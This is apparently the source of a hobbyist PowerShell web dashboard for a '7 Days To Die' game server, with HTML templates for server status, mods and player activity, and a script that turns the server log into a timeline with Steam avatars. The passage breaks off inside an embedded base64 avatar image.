<p>GamePref.OptionsBackgroundGlobalOpacity = 0.75</p> <p>GamePref.OptionsBloom = False</p> <p>GamePref.OptionsControllerVibration = True</p> <p>GamePref.OptionsDeferredLighting = True</p> <p>GamePref.OptionsDOF = False</p> <p>GamePref.OptionsFieldOfView = 50</p> <p>GamePref.OptionsForegroundGlobalOpacity = 1</p> <p>GamePref.OptionsGamma = 0.375</p> <p>GamePref.OptionsGraphicsQuality = 1</p> <p>GamePref.OptionsGrassDistance = 1</p> <p>GamePref.OptionsHudOpacity = 1</p> <p>GamePref.OptionsHudSize = 2</p> <p>GamePref.OptionsImageEffects = False</p> <p>GamePref.OptionsInterfaceSensitivity = 0.75</p> <p>GamePref.OptionsInvertMouse = False</p> <p>GamePref.OptionsLODDistance = 0.5</p> <p>GamePref.OptionsMicVolumeLevel = 0.75</p> <p>GamePref.OptionsMotionBlur = 0</p> <p>GamePref.OptionsMouseSensitivity = 0.5</p> <p>GamePref.OptionsMusicVolumeLevel = 0.5</p> <p>GamePref.OptionsObjectBlur = False</p> <p>GamePref.OptionsOverallAudioVolumeLevel = 1</p> <p>GamePref.OptionsPlayerModel = playerMale</p> <p>GamePref.OptionsPlayerModelTexture = Player/Male/Player_male</p> <p>GamePref.OptionsReflectedShadows = False</p> <p>GamePref.OptionsReflectionBounces = 0</p> <p>GamePref.OptionsReflectionCullList = Default</p> <p>GamePref.OptionsReflectionFarClip = 3000</p> <p>GamePref.OptionsReflectionQuality = 0</p> <p>GamePref.OptionsReflectionRefreshMode = ViaScripting</p> <p>GamePref.OptionsReflectionRefreshRate = 0</p> <p>GamePref.OptionsReflectionShadowDistance = 60</p> <p>GamePref.OptionsReflectionTimeSlicingMode = IndividualFaces</p> <p>GamePref.OptionsResolution = 0</p> <p>GamePref.OptionsScreenBoundsValue = 1</p> <p>GamePref.OptionsShadowDistance = 1</p> <p>GamePref.OptionsShowCompass = True</p> <p>GamePref.OptionsShowCrosshair = True</p> <p>GamePref.OptionsSSAO = False</p> <p>GamePref.OptionsStabSpawnBlocksOnGround = True</p> <p>GamePref.OptionsSunShafts = False</p> <p>GamePref.OptionsTempCelsius = False</p> <p>GamePref.OptionsTextureQuality = 2</p> <p>GamePref.OptionsTreeQuality = 1</p> <p>GamePref.OptionsUMATextureQuality = 1</p> <p>GamePref.OptionsViewDistance = 8</p> </div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-lg-4"> <!--Network Line Chart--> <!--===================================================--> <div id="demo-panel-network" class="panel"> <div class="panel-heading"> <h3 class="panel-title">Server Status</h3> </div> <!--Morris line chart placeholder--> <div id="morris-chart-uptime" class="morris-full-content"></div> <!--Chart information--> <div class="panel-body"> <div class="row pad-top"> <div class="col-lg-12"> <div class="media"> <div class="media-left"> <div class="media"> <p class="text-semibold text-main">Uptime</p> <div class="media-left pad-no"> <span class="text-2x text-semibold text-nowrap text-main"> <i class="fa fa-server"></i> 100<!-- ([math]::round((Get-ServerUptime -NumberOfDays 7).PercentUptime,2)) --> </span> </div> <div class="media-body"> <p class="mar-no">%</p> </div> </br> </div> </div> <div class="media-body pad-lft"> <div class="pad-btm"> <p class="text-semibold text-main mar-no">Reason I Haven't Fixed Everything On The Server Yet</p> <small>$(Get-Random (iwr http://pages.cs.wisc.edu/~ballard/bofh/excuses).Content.Split([Environment]::NewLine))</small> </div> </div> </div> </div> </div> </div> </div> <!--===================================================--> <!--End network line chart--> </div> <div class="col-lg-2"> <div class='row'> <div class="col-sm-12 col-lg-12"> <!--Sparkline Line Chart--> <div class="panel panel-info panel-colorful"> <div class="pad-all"> <p class="text-lg text-semibold"><i class="demo-pli-wallet-2 icon-fw"></i> Players</p> <p class="mar-no"> <span class="pull-right text-bold">$($ActivePlayers)</span> Active </p> <p class="mar-no"> <span class="pull-right text-bold">$($TotalPlayers)</span> Total </p> </div> <div class="pad-all text-center"> <!--Placeholder--> <div id="demo-sparkline-line"></div> </div> </div> </div> </div> </div> <div class="col-lg-3"> <div class="panel panel-trans"> <div class="panel-heading"> <div class="panel-control"> <a title="" data-html="true" data-container="body" data-original-title="&lt;p class='h4 text-semibold'&gt;Mods Info&lt;/p&gt;&lt;p style='width:150px'&gt;This is a list and status of current server mods.&lt;/p&gt;" href="#" class="demo-psi-information icon-lg icon-fw unselectable text-info add-tooltip"></a> </div> <h3 class="panel-title">Mods</h3> </div> <div class="bord-btm"> <ul class="list-group bg-trans"> <li class="list-group-item"> <div class="pull-right"> <input id="xpac-checkbox" class="toggle-switch" type="checkbox" checked disabled> <label for="xpac-checkbox"></label> </div> <b>War of the Walkers Expansion</b> </li> <li class="list-group-item"> <div class="pull-right"> <input id="ammo-checkbox" class="toggle-switch" type="checkbox" checked disabled> <label for="ammo-checkbox"></label> </div> <b>Infinite Pistol Ammo</b> </li> <li class="list-group-item"> <div class="pull-right"> <input id="alloc-checkbox" class="toggle-switch" type="checkbox" checked disabled> <label for="alloc-checkbox"></label> </div> <b>Alloc Fixes</b> </li> <li class="list-group-item"> <div class="pull-right"> <input id="demo-show-device-checkbox" class="toggle-switch" type="checkbox" checked disabled> <label for="demo-show-device-checkbox"></label> </div> <b>Expanded Backpack</b> </li> <li class="list-group-item"> <div class="pull-right"> <input id="demo-show-device-checkbox" class="toggle-switch" type="checkbox" checked disabled> <label for="demo-show-device-checkbox"></label> </div> <b>Improved Water Access</b> </li> <li class="list-group-item"> <div class="pull-right"> <input id="demo-show-device-checkbox" class="toggle-switch" type="checkbox" checked disabled> <label for="demo-show-device-checkbox"></label> </div> <b>Upgraded UI Meters</b> </li> </ul> </div> </div> </div> <div class="col-lg-3"> <div class="panel panel-trans"> <div class="panel-heading"> <div class="panel-control"> <a title="" data-html="true" data-container="body" data-original-title="&lt;p class='h4 text-semibold'&gt;Protection Donations&lt;/p&gt;&lt;p style='width:150px'&gt;Donations To Protect You From The Davis Mobsters&lt;/p&gt;" href="#" class="demo-psi-information icon-lg icon-fw unselectable text-info add-tooltip"></a> </div> <h3 class="panel-title">Donations</h3> </div> <div class="panel-body"> <!-- <div class="pad-btm"> <p class="text-semibold text-main">AK's That Shoot Pipe Bomb's</p> <div class="progress progress-sm"> <div class="progress-bar progress-bar-purple" aria-valuenow="60" aria-valuemin="0" aria-valuemax="100" style="width: 60%;" role="progressbar"> <span class="sr-only">60%</span> </div> </div> <small>60% Completed</small> </div> --> <div class="pad-btm"> <p class="text-semibold text-main">Home Insurance (Protection From Sean)</p> <div class="progress progress-sm"> <div class="progress-bar progress-bar-success" aria-valuenow="28" aria-valuemin="0" aria-valuemax="100" style="width: 28%;" role="progressbar"> <span class="sr-only">28%</span> </div> </div> <small>28% Completed</small> </div> <div class="pad-btm"> <p class="text-semibold text-main">Life Insurance (Protection From Andrew)</p> <div class="progress progress-sm"> <div class="progress-bar progress-bar-success" aria-valuenow="28" aria-valuemin="0" aria-valuemax="100" style="width: 28%;" role="progressbar"> <span class="sr-only">28%</span> </div> </div> <small>28% Completed</small> </div> <div class="pad-btm"> <p class="text-semibold text-main">Theft Insurance (Protection From Austin)</p> <div class="progress progress-sm"> <div class="progress-bar progress-bar-success" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" style="width: 0%;" role="progressbar"> <span class="sr-only">0%</span> </div> </div> <small>Progress Was Stolen!</small> </div> </div> </div> </div> </div> </div> <!--===================================================--> <!--End page content--> </div> <!--===================================================--> <!--END CONTENT CONTAINER--> <!--MAIN NAVIGATION--> <!--===================================================--> <nav id="mainnav-container"> <div id="mainnav"> <!--Menu--> <!--================================--> <div id="mainnav-menu-wrap"> <div class="nano"> <div class="nano-content"> <!--Widget--> <!--================================--> <div class="mainnav-widget"> <!-- Show the button on collapsed navigation --> <div class="show-small"> <a href="#" data-toggle="menu-widget" data-target="#demo-wg-server"> <i class="demo-pli-monitor-2"></i> </a> </div> <!-- Hide the content on collapsed navigation --> <div id="demo-wg-server" class="hide-small mainnav-widget-content"> <ul class="list-group"> <li> $( #Determine If Main Server Is Up Or Down If((Get-NetTCPConnection | Where {$_.OwningProcess -eq $((Get-Process | Where {$_.ProcessName -like '7DaysToDieServer'}).ID)} | Where {$_.LocalPort -eq '26900'} | Measure-Object).Count -gt 0) { '<span class="label label-success pull-right">UP</span>' } Else { '<span class="label label-danger pull-right">DOWN</span>' } ) <p>Main Server</p> </li> <li> $( #Determine If Main Server Is Up Or Down If((Get-NetTCPConnection | Where {$_.OwningProcess -eq $((Get-Process | Where {$_.ProcessName -like '7DaysToDieServer'}).ID)} | Where {$_.LocalPort -eq '26901'} | Measure-Object).Count -gt 0) { '<span class="label label-success pull-right">UP</span>' } Else { '<span class="label label-danger pull-right">DOWN</span>' } ) <p>Test Server</p> </li> </ul> </div> </div> <!--================================--> <!--End widget--> <ul id="mainnav-menu" class="list-group"> <!--Category name--> <li class="list-header">Navigation</li> <!--Menu list item--> <li class="active-link"> <a href="index.html"> <i class="demo-psi-home"></i> <span class="menu-title"> <strong>Dashboard</strong> </span> </a> </li> <!--Menu list item--> <li> <a href="maps.ps1"> <i class="fa fa-map-o" aria-hidden="true"></i> <span class="menu-title"> <strong>Server Map</strong> </span> </a> </li> <!--Menu list item--> <li> <a href="serverlog.ps1"> <i class="fa fa-file-text-o" aria-hidden="true"></i> <span class="menu-title"> <strong>Server Log Feed</strong> </span> </a> </li> <!--Menu list item--> <li> <a href="controlpanel.ps1"> <i class="fa fa-terminal" aria-hidden="true"></i> <span class="menu-title"> <strong>Control Panel</strong> </span> </a> </li> </ul> </div> </div> </div> <!--================================--> <!--End menu--> </div> </nav> <!--===================================================--> <!--END MAIN NAVIGATION--> </div> <!-- FOOTER --> <!--===================================================--> <footer id="footer"> <!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --> <!-- Remove the class "show-fixed" and "hide-fixed" to make the content always appears. --> <!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --> <p class="pad-lft">&#0169; 2017 Sean Davis</p> </footer> <!--===================================================--> <!-- END FOOTER --> <!-- SCROLL PAGE BUTTON --> <!--===================================================--> <button class="scroll-top btn"> <i class="pci-chevron chevron-up"></i> </button> <!--===================================================--> </div> <!--===================================================--> <!-- END OF CONTAINER --> </body> </html> "@ 1
serverlog.ps1
7DWSM-1.4.0
@" <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>7 Days To Die - Cindar's World</title> <!--STYLESHEET--> <!--=================================================--> <!--Open Sans Font [ OPTIONAL ]--> <link href='https://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700' rel='stylesheet' type='text/css'> <!--Bootstrap Stylesheet [ REQUIRED ]--> <link href="css/bootstrap.min.css" rel="stylesheet"> <!--Nifty Stylesheet [ REQUIRED ]--> <link href="css/nifty.min.css" rel="stylesheet"> <!--Nifty Premium Icon [ DEMONSTRATION ]--> <link href="css/demo/nifty-demo-icons.min.css" rel="stylesheet"> <!--Demo [ DEMONSTRATION ]--> <link href="css/demo/nifty-demo.min.css" rel="stylesheet"> <!--Morris.js [ OPTIONAL ]--> <link href="plugins/morris-js/morris.min.css" rel="stylesheet"> <!--Magic Checkbox [ OPTIONAL ]--> <link href="plugins/magic-check/css/magic-check.min.css" rel="stylesheet"> <!-- Font Awesome --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css" rel="stylesheet"> <!--JAVASCRIPT--> <!--=================================================--> <!--Pace - Page Load Progress Par [OPTIONAL]--> <link href="plugins/pace/pace.min.css" rel="stylesheet"> <script src="plugins/pace/pace.min.js"></script> <!--jQuery [ REQUIRED ]--> <script src="js/jquery.min.js"></script> <!--BootstrapJS [ RECOMMENDED ]--> <script src="js/bootstrap.min.js"></script> <!--NiftyJS [ RECOMMENDED ]--> <script src="js/nifty.min.js"></script> <!--=================================================--> <!--Demo script [ DEMONSTRATION ]--> <script src="js/demo/nifty-demo.min.js"></script> </head> <!--TIPS--> <!--You may remove all ID or Class names which contain "demo-", they are only used for demonstration. --> <body> <div id="container" class="effect aside-float aside-bright mainnav-lg"> <!--NAVBAR--> <!--===================================================--> <header id="navbar"> <div id="navbar-container" class="boxed"> <!--Brand logo & name--> <!--================================--> <div class="navbar-header"> <a href="index.html" class="navbar-brand"> <img src="img/7dtd_logo.png" class="brand-icon"> <div class="brand-title"> <span class="brand-text">Cindar's World</span> </div> </a> </div> <!--================================--> <!--End brand logo & name--> <!--Navbar Dropdown--> <!--================================--> <div class="navbar-content clearfix"> <ul class="nav navbar-top-links pull-left"> <!--Navigation toggle button--> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <li class="tgl-menu-btn"> <a class="mainnav-toggle" href="#"> <i class="demo-pli-view-list"></i> </a> </li> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <!--End Navigation toogle button--> </ul> <ul class="nav text-center"> <!--Updated Timer--> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <li> <div class="username">Last Updated: 12/19/2017 14:22</div></center> </li> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <!--End Updated Timer--> </ul> </div> <!--================================--> <!--End Navbar Dropdown--> </div> </header> <!--===================================================--> <!--END NAVBAR--> <div class="boxed"> <!--CONTENT CONTAINER--> <!--===================================================--> <div id="content-container"> <!--Page content--> <!--===================================================--> <div id="page-content"> <div class="row"> <div class="col-lg-12"> <!-- Timeline --> <!--===================================================--> <div class="timeline"> <!-- Timeline header --> <div class="timeline-header"> <div class="timeline-header-title bg-purple">Server Started</div> </div> $( #Init Variables $PlayerNames = @{} #Get Most Recent Log Then Reverse The Contents So Newest Info Is Written To Site First $Log = Get-ChildItem "C:\Games\7DaysToDie\7DaysToDieServer_Data" | Where {$_.Name -like "*output_log__*"} | Select -last 1 $LogContents = $(Get-Content "C:\Games\7DaysToDie\7DaysToDieServer_Data\$Log") #[array]::Reverse($LogContents) - Will Reverse When Ready To Read Log Backwards $LogContents | ForEach-Object { #Clear Parse Buffer $Command = "" #Parse The Statement Against Known Server Events Switch -Wildcard ($_) { #Server Started "*GameServer.LogOn successful*" { #Parse The Date $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-success'><i class='fa fa-play-circle fa-2x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" "<p class='text-main text-semibold'>Server Event - Server Started</p>" "<span>Let the mayhem begin!</span>" "</div>" "</div>" } #Shutdown Requested "*Executing command 'shutdown'*" { #Get Variables $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) $SteamID = $($_.Split(" ")[8]) $SteamURL = "http://steamcommunity.com/profiles/" + $SteamID + "?xml=1" $SteamProfile = $(([xml](Invoke-WebRequest -URI $SteamURL).Content).Profile) $PlayerName = $($SteamProfile.steamid.'#cdata-section') $AvatarIcon = $($SteamProfile.avatarIcon.'#cdata-section') #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-danger'><i class='fa fa-arrow-circle-down fa-2x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" "<p class='text-main text-semibold'>Server Event - Admin Shutdown Initiated</p>" "<img class='img-xs img-circle' src=$AvatarIcon>" "<span>$PlayerName shut down all the fun.</span>" "</div>" "</div>" } #Server Stopped "*OnApplicationQuit*" { #Parse The Date $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-danger'><i class='fa fa-stop-circle fa-2x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" "<p class='text-main text-semibold'>Server Event - Server Stopped</p>" "<span>We'll return shortly after these messages.......if our admin is paying any attention.</span>" "</div>" "</div>" } #Player Joined "*[INF] Player Connected,*" { #Get Variables $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) $PlayerName = $($_.Split(",")[2].split("=")[1]) $SteamID = $($_.Split(",")[3].split("=")[1]) $SteamURL = "http://steamcommunity.com/profiles/" + $SteamID + "?xml=1" $SteamProfile = $(([xml](Invoke-WebRequest -URI $SteamURL).Content).Profile) $AvatarIcon = $($SteamProfile.avatarIcon.'#cdata-section') #Add Player To Hash Table For Lookup Later If($($PlayerNames.Get_Item("$PlayerName")) -eq $null) {$PlayerNames.Add("$PlayerName", "$SteamID")} #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-info'><i class='fa fa-sign-in fa-2x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" $( #Lookup To See If Player Is Too New To Get A Profile From Or Is A Child Profile If($AvatarIcon -eq $null) { "<img class='img-xs img-circle' src=data:image/png;base64,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>" } Else { "<img class='img-xs img-circle' src=$AvatarIcon>" } ) "$PlayerName Joined To Kill Some Zombies!" "</div>" "</div>" } #Player Died "*GMSG: Player*died*" { #Get Variables $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) $PlayerName = $($_.Split("'")[1]) $SteamID = $PlayerNames.Get_Item("$PlayerName") $SteamURL = "http://steamcommunity.com/profiles/" + $SteamID + "?xml=1" $SteamProfile = $(([xml](Invoke-WebRequest -URI $SteamURL).Content).Profile) $AvatarIcon = $($SteamProfile.avatarIcon.'#cdata-section') #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-info'><i class='fa fa-frown-o fa-2x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" $( #Lookup To See If Player Is Too New To Get A Profile From Or Is A Child Profile If($AvatarIcon -eq $null) { "<img class='img-xs img-circle' src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOEAAADhCAMAAAAJbSJIAAAAgVBMVEX///8AAADb29tnZ2f6+vri4uLFxcUwMDDx8fFJSUn39/c3NzdbW1vMzMz19fXt7e12dnYYGBhhYWEqKipWVlYRERHo6OiCgoIKCgqNjY0aGhq4uLirq6s7Ozve3t6/v7+Xl5dCQkIhISHS0tJNTU2goKCvr69ubm6IiIh+fn6cnJx4dZ1JAAALNUlEQVR4nO1bWYOizA5toUREQWSTRUVARP3/P/CqVGoFG7/puT0POU/TQiCHpLJVzdcXAoFAIBAIBAKBQCAQCAQCgUAgEAgEAoFAIBAIBAKBQCAQCAQCgUAgEAgEAoFAIBAIBAKBQCAQCAQCgUCMgNjJCxvntzV5wE6MxnXdpplvyESJudE0DwFjXCLZ+y/cjR/T8z/CPlr323p5WB2qqMsuzfckbaM8+euqlzgVxrCEYc5eqKyf1/kTOMbpXM840pVf2m8lvCZbbgWJ+LCzNgP3AcPl7zI0stVMRW5a3qgAOe4WmkTdufpi+ycYkjLaauo+sDqNmdErzvGAQFq1mhn/BYZkXw3xexrllgxKeK1u8h7hVaX4DzAke1HduJYWlz8fkLBbccnmtWjOeKd8lN9nSEpO8GBm7b49+VXKFNZsIn+SqntKZF3FWOaZ7Nq/z7CJmIf5RfIK+Jtyxzjkey14WGdR4vVTUt5Y4AkvUtb4dYbJjRmw5aGTlIyFplliskt7LuFdlsyuUm7/dYYXWFKHi2QsTtGXFxY5gURVir873NulpfjbDJs11apulYrkAgov9tLvBtiqlr3xy2HxJxTJ/DJD0jJLqcvNOcGlQAw23hVibabGIPsG4UaMwL/MsAn4alOrygL0lUKHUYGEVkk7d2ZEwX9/meEedMq0qnnugw1nJo//Tpv3v6WtVtLN10xCyDG/y3ADLPTXOyeexw8ul4DcctBKAW/HJSou8bsMS4gaV60ALSum7iOJwyIlLjV6vFNNSMqQS8x4dPr/MCQjvV5Go8a2UK/wpPfEGpzOhvATavoe16IEL2hHGY4pNQmCrH10i33bXqxGL6IdoBE16pUsF/VdwXW21CItkGaiwOzM3HSIIUka69K2+7JJPqPpNNYLDYiRxL0Hq5ehwvPVUh/HUttO1dc6SPrWULo1izEnLUJFYpyhdyx25/BZ+ubLWzFU2o8iWW4fiPO